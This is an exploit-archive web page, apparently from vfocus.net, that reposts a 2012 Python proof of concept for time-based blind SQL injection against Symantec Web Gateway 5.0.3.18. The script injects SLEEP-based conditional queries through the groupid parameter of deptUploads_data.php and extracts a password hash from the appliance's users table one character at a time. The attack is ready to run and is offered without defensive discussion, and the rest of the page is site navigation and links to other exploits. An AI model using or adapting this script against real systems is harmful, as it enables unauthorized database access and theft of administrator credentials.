首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Symantec Web Gateway 5.0.3.18 (deptUploads_data.php groupid parameter) Blind SQL
来源:vfocus.net 作者:@_Kc57 发布时间:2012-07-31  

#!/usr/bin/python
# @_Kc57
# Blind SQLi POC
# Dumps out the first available hash in the users table of spywall_db

import urllib
import time
from time import sleep

timing='2.5'
checks = 0

def check_char(i, pos):
 global timimg
 global checks
 checks += 1
 url = 'https://192.168.200.132/spywall/includes/deptUploads_data.php?groupid=1 union select 1,2, IF (%s=conv(mid((select password from users),%s,1),16,10),SLEEP(%s),null);--' % (i,pos,timing)
 start = time.time()
 urllib.urlopen(url)
 end = time.time()
 howlong = end-start
 return howlong

def check_pos(pos):

 for m in range(0,16):
  output = check_char(m, pos)
  print "[*] Character %s - Took %s seconds" % (hex(m)[2:],output)
  if output > 2:
   return hex(m)[2:]
   

md5 = ''
start = time.time()
for y in range(1,33):
 print "Checking position %s" % (y)
 md5 += check_pos(y)
 print md5
 end = time.time()
 howlong = end-start

print "1st hash:%s" % (md5)
print "Found in %s queries" % (checks)
print "Found in %s" %(howlong)


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Sysax Multi-Server 5.64 Create
·AxMan ActiveX fuzzing <== Memo
·httpdx <= 1.5.4 Remote Heap Ov
·Microsoft Office SharePoint Se
·Mini-stream RM-MP3 Converter 3
·SC DHCP 4.1.2 Denial Of Servic
·Symantec Web Gateway 5.0.2.18
·pBot Remote Code Execution
·Cisco Linksys PlayerPT ActiveX
·WebPageTest Arbitrary PHP File
·CuteFlow 2.11.2 Arbitrary File
·Microsoft Internet Explorer Fi
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved